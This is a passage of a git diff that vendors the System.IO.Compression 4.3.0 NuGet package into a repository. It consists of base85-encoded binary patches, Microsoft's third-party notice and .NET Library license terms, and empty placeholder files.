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 literal 0 HcmV?d00001 diff --git a/packages/System.IO.Compression.4.3.0/ThirdPartyNotices.txt b/packages/System.IO.Compression.4.3.0/ThirdPartyNotices.txt new file mode 100644 index 0000000..3da4f19 --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ThirdPartyNotices.txt @@ -0,0 +1,31 @@ +This Microsoft .NET Library may incorporate components from the projects listed +below. Microsoft licenses these components under the Microsoft .NET Library +software license terms. The original copyright notices and the licenses under +which Microsoft received such components are set forth below for informational +purposes only. Microsoft reserves all rights not expressly granted herein, +whether by implication, estoppel or otherwise. + +1. .NET Core (https://github.com/dotnet/core/) + +.NET Core +Copyright (c) .NET Foundation and Contributors + +The MIT License (MIT) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/dotnet_library_license.txt b/packages/System.IO.Compression.4.3.0/dotnet_library_license.txt new file mode 100644 index 0000000..c9a54fc --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/dotnet_library_license.txt @@ -0,0 +1,128 @@ + +MICROSOFT SOFTWARE LICENSE TERMS + + +MICROSOFT .NET LIBRARY + +These license terms are an agreement between Microsoft Corporation (or based on where you live, one of its affiliates) and you. Please read them. They apply to the software named above, which includes the media on which you received it, if any. The terms also apply to any Microsoft + +· updates, + +· supplements, + +· Internet-based services, and + +· support services + +for this software, unless other terms accompany those items. If so, those terms apply. + +BY USING THE SOFTWARE, YOU ACCEPT THESE TERMS. IF YOU DO NOT ACCEPT THEM, DO NOT USE THE SOFTWARE. + + +IF YOU COMPLY WITH THESE LICENSE TERMS, YOU HAVE THE PERPETUAL RIGHTS BELOW. + +1. INSTALLATION AND USE RIGHTS. + +a. Installation and Use. You may install and use any number of copies of the software to design, develop and test your programs. + +b. Third Party Programs. The software may include third party programs that Microsoft, not the third party, licenses to you under this agreement. Notices, if any, for the third party program are included for your information only. + +2. ADDITIONAL LICENSING REQUIREMENTS AND/OR USE RIGHTS. + +a. DISTRIBUTABLE CODE. The software is comprised of Distributable Code. “Distributable Code” is code that you are permitted to distribute in programs you develop if you comply with the terms below. + +i. Right to Use and Distribute. + +· You may copy and distribute the object code form of the software. + +· Third Party Distribution. You may permit distributors of your programs to copy and distribute the Distributable Code as part of those programs. + +ii. Distribution Requirements. For any Distributable Code you distribute, you must + +· add significant primary functionality to it in your programs; + +· require distributors and external end users to agree to terms that protect it at least as much as this agreement; + +· display your valid copyright notice on your programs; and + +· indemnify, defend, and hold harmless Microsoft from any claims, including attorneys’ fees, related to the distribution or use of your programs. + +iii. Distribution Restrictions. You may not + +· alter any copyright, trademark or patent notice in the Distributable Code; + +· use Microsoft’s trademarks in your programs’ names or in a way that suggests your programs come from or are endorsed by Microsoft; + +· include Distributable Code in malicious, deceptive or unlawful programs; or + +· modify or distribute the source code of any Distributable Code so that any part of it becomes subject to an Excluded License. An Excluded License is one that requires, as a condition of use, modification or distribution, that + +· the code be disclosed or distributed in source code form; or + +· others have the right to modify it. + +3. SCOPE OF LICENSE. The software is licensed, not sold. This agreement only gives you some rights to use the software. Microsoft reserves all other rights. Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not + +· work around any technical limitations in the software; + +· reverse engineer, decompile or disassemble the software, except and only to the extent that applicable law expressly permits, despite this limitation; + +· publish the software for others to copy; + +· rent, lease or lend the software; + +· transfer the software or this agreement to any third party; or + +· use the software for commercial software hosting services. + +4. BACKUP COPY. You may make one backup copy of the software. You may use it only to reinstall the software. + +5. DOCUMENTATION. Any person that has valid access to your computer or internal network may copy and use the documentation for your internal, reference purposes. + +6. EXPORT RESTRICTIONS. The software is subject to United States export laws and regulations. You must comply with all domestic and international export laws and regulations that apply to the software. These laws include restrictions on destinations, end users and end use. For additional information, see www.microsoft.com/exporting. + +7. SUPPORT SERVICES. Because this software is “as is,” we may not provide support services for it. + +8. ENTIRE AGREEMENT. This agreement, and the terms for supplements, updates, Internet-based services and support services that you use, are the entire agreement for the software and support services. + +9. APPLICABLE LAW. + +a. United States. If you acquired the software in the United States, Washington state law governs the interpretation of this agreement and applies to claims for breach of it, regardless of conflict of laws principles. The laws of the state where you live govern all other claims, including claims under state consumer protection laws, unfair competition laws, and in tort. + +b. Outside the United States. If you acquired the software in any other country, the laws of that country apply. + +10. LEGAL EFFECT. This agreement describes certain legal rights. You may have other rights under the laws of your country. You may also have rights with respect to the party from whom you acquired the software. This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so. + +11. DISCLAIMER OF WARRANTY. THE SOFTWARE IS LICENSED “AS-IS.” YOU BEAR THE RISK OF USING IT. MICROSOFT GIVES NO EXPRESS WARRANTIES, GUARANTEES OR CONDITIONS. YOU MAY HAVE ADDITIONAL CONSUMER RIGHTS OR STATUTORY GUARANTEES UNDER YOUR LOCAL LAWS WHICH THIS AGREEMENT CANNOT CHANGE. TO THE EXTENT PERMITTED UNDER YOUR LOCAL LAWS, MICROSOFT EXCLUDES THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. + +FOR AUSTRALIA – YOU HAVE STATUTORY GUARANTEES UNDER THE AUSTRALIAN CONSUMER LAW AND NOTHING IN THESE TERMS IS INTENDED TO AFFECT THOSE RIGHTS. + +12. LIMITATION ON AND EXCLUSION OF REMEDIES AND DAMAGES. YOU CAN RECOVER FROM MICROSOFT AND ITS SUPPLIERS ONLY DIRECT DAMAGES UP TO U.S. $5.00. YOU CANNOT RECOVER ANY OTHER DAMAGES, INCLUDING CONSEQUENTIAL, LOST PROFITS, SPECIAL, INDIRECT OR INCIDENTAL DAMAGES. + +This limitation applies to + +· anything related to the software, services, content (including code) on third party Internet sites, or third party programs; and + +· claims for breach of contract, breach of warranty, guarantee or condition, strict liability, negligence, or other tort to the extent permitted by applicable law. + +It also applies even if Microsoft knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages. + +Please note: As this software is distributed in Quebec, Canada, some of the clauses in this agreement are provided below in French. + +Remarque : Ce logiciel étant distribué au Québec, Canada, certaines des clauses dans ce contrat sont fournies ci-dessous en français. + +EXONÉRATION DE GARANTIE. Le logiciel visé par une licence est offert « tel quel ». Toute utilisation de ce logiciel est à votre seule risque et péril. Microsoft n’accorde aucune autre garantie expresse. Vous pouvez bénéficier de droits additionnels en vertu du droit local sur la protection des consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualité marchande, d’adéquation à un usage particulier et d’absence de contrefaçon sont exclues. + +LIMITATION DES DOMMAGES-INTÉRÊTS ET EXCLUSION DE RESPONSABILITÉ POUR LES DOMMAGES. Vous pouvez obtenir de Microsoft et de ses fournisseurs une indemnisation en cas de dommages directs uniquement à hauteur de 5,00 $ US. Vous ne pouvez prétendre à aucune indemnisation pour les autres dommages, y compris les dommages spéciaux, indirects ou accessoires et pertes de bénéfices. + +Cette limitation concerne : + +· tout ce qui est relié au logiciel, aux services ou au contenu (y compris le code) figurant sur des sites Internet tiers ou dans des programmes tiers ; et + +· les réclamations au titre de violation de contrat ou de garantie, ou au titre de responsabilité stricte, de négligence ou d’une autre faute dans la limite autorisée par la loi en vigueur. + +Elle s’applique également, même si Microsoft connaissait ou devrait connaître l’éventualité d’un tel dommage. Si votre pays n’autorise pas l’exclusion ou la limitation de responsabilité pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l’exclusion ci-dessus ne s’appliquera pas à votre égard. + +EFFET JURIDIQUE. Le présent contrat décrit certains droits juridiques. Vous pourriez avoir d’autres droits prévus par les lois de votre pays. Le présent contrat ne modifie pas les droits que vous confèrent les lois de votre pays si celles-ci ne le permettent pas. + + diff --git a/packages/System.IO.Compression.4.3.0/lib/MonoAndroid10/_._ b/packages/System.IO.Compression.4.3.0/lib/MonoAndroid10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/lib/MonoTouch10/_._ b/packages/System.IO.Compression.4.3.0/lib/MonoTouch10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/lib/net45/_._ b/packages/System.IO.Compression.4.3.0/lib/net45/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/lib/net46/System.IO.Compression.dll b/packages/System.IO.Compression.4.3.0/lib/net46/System.IO.Compression.dll new file mode 100644 index 0000000000000000000000000000000000000000..f8468a652440be5ecce5ee80442d8a5e66c99d37 GIT binary patch literal 111984 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 